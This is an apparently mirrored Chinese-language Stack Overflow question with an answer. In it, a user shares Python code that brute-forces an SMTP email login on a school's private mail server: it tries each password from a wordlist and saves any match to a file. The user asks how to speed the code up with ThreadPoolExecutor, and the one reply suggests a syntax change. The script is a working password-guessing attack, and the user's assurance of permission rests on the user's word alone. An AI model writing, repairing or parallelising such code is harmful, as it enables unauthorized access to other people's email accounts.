【问题标题】:Parallel compute task to brute-force in pythonpython中蛮力的并行计算任务
【发布时间】:2016-02-04 10:13:15
【问题描述】:

/* 这并不是因为我的学校只使用 7 个整数而造成的任何非法行为,我想看看我是否能及时让它工作,因为目前我需要 1.59 年才能破解密码。学校在现场为任何相关人员提供自己的私人服务器,并且很容易检测到。我只会在我或我的朋友允许的情况下这样做。*/

我只是想使用 multi processing 或 concurrent.futures 让这个密码破解程序在合理的时间内运行。

这是我尝试并行化的尝试

import smtplib
from concurrent.futures import ThreadPoolExecutor
def conn():
    print("Got to here3")
    smtpserver.connect('private_email_server', 587)
    smtpserver.ehlo()
    smtpserver.starttls()
    print("OK going to main")
    main()
def main():
    for password in passwfile.readlines():
        password = password.strip()
        print("Go to here1")
        try:
            print("WELL AT LEAST WE GOT HERE")
            smtpserver.login('myemail@private_email.com', password)
            a = password
            with open('pass.txt','w') as bc:
                bc.write(a)
            print ("[+] Password cracked----> %s" % password)
            input()
            break
        except smtplib.SMTPAuthenticationError:
            print("[-] Wrong --> %s" % password)   
            pass
        except:
            print("Got to here2")
            conn()
if __name__ == '__main__':


    passwfile = open('per.txt', 'r')
    smtpserver = smtplib.SMTP()

    with ThreadPoolExecutor(max_workers=3) as exe:
        exe.submit(conn)

这实际上只有在密码在第一行时才有效,它只输出我在那里写的指标,如print ("Got to here3") 它不会打印破解密码,甚至不会将其写入文本文件。

【问题讨论】:

    标签: python python-2.7 python-3.x python-multiprocessing concurrent.futures


    【解决方案1】:

    你试过了吗

    with ThreadPoolExecutor as exe:
        exe.submit(conn)
    

    可能你实际上并没有连接到服务器

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2021-11-19
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2015-06-22
      • 1970-01-01
      • 2015-01-10
      相关资源
      最近更新 更多